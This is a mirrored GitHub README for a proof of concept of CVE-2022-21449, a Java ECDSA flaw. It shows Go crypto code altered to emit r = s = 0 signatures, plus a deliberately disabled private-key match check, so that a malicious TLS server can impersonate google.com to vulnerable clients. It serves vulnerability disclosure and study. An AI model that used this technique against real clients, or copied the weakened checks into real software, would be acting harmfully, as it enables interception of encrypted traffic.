Giter VIP home page Giter VIP logo

dj707chen / cve-2022-21449-tls-poc Goto Github PK

View Code? Open in Web Editor NEW

This project forked from notkmhn/cve-2022-21449-tls-poc

0.0 0.0 0.0 22.56 MB

CVE-2022-21449 Proof of Concept demonstrating its usage with a vulnerable client and a malicious TLS server

Shell 0.14% Go 85.23% HTML 7.83% Fortran 0.01% C 0.27% JavaScript 0.05% C++ 0.01% Batchfile 0.02% Assembly 6.34% Dockerfile 0.01% Makefile 0.01% Awk 0.01% Perl 0.08% Python 0.04% Java 0.01%

cve-2022-21449-tls-poc's Introduction

CVE-2022-21449-TLS-PoC

CVE-2022-21449 (also dubbed Psychic Signatures in the vulnerability writeup by Neil Madden) Proof of Concept demonstrating its usage with a vulnerable client and a malicious TLS server.

The malicious server presents a valid (as of 2022-04-20) cert chain for www.google.com which has an ECDSA pub key (secp256r1). However, the crypto/ecdsa package has been modified to present an invalid signature with r = s = 0. The vulnerable client accepts this invalid signature, allowing the rest of the TLS handshake to continue.

Aside from the removed *_test.go files while building & exploration, these modifications to the golang crypto library were necessary for the malicious TLS server. They can also be found by searching/grepping for CVE-2022-21449 in the go/src directory.

Building

Requires some existing golang installation as well as maven, then run ./build.sh.

Tested on Ubuntu 20.04.4 LTS (WSL2) with OpenJDK 16.0.1 (build 16.0.1+9-Ubuntu-120.04, 2021-04-20)

Demo

CVE-2022-21449.mp4

Modifications to the golang crypto library

In crypto/ecdsa/ecdsa.go, the function signGeneric was essentially modified to:

func signGeneric(priv *PrivateKey, csprng *cipher.StreamReader, c elliptic.Curve, hash []byte) (r, s *big.Int, err error) {
        // SEC 1, Version 2.0, Section 4.1.3
        // CVE-2022-21449 - Modified and removed all calculations. Return r = s = 0
        r = new(big.Int)
        s = new(big.Int)
        return
}

And in crypto/tls/tls.go, the function X509KeyPair has been changed to disable verification checks that a given private key matches the X.509 certificate's public key for ECDSA public keys:

// X509KeyPair parses a public/private key pair from a pair of
// PEM encoded data. On successful return, Certificate.Leaf will be nil because
// the parsed form of the certificate is not retained.
func X509KeyPair(certPEMBlock, keyPEMBlock []byte) (Certificate, error) {
        fail := func(err error) (Certificate, error) { return Certificate{}, err }
        ...
        switch pub := x509Cert.PublicKey.(type) {
        ...
        case *ecdsa.PublicKey:
                // CVE-2022-21449: Modified checks away
                _, ok := cert.PrivateKey.(*ecdsa.PrivateKey)
                if !ok {
                        return fail(errors.New("tls: private key type does not match public key type"))
                }
                /*if pub.X.Cmp(priv.X) != 0 || pub.Y.Cmp(priv.Y) != 0 {
                        return fail(errors.New("tls: private key does not match public key"))
                }*/
         ...
}

Credits

cve-2022-21449-tls-poc's People

Contributors

khalednassar avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.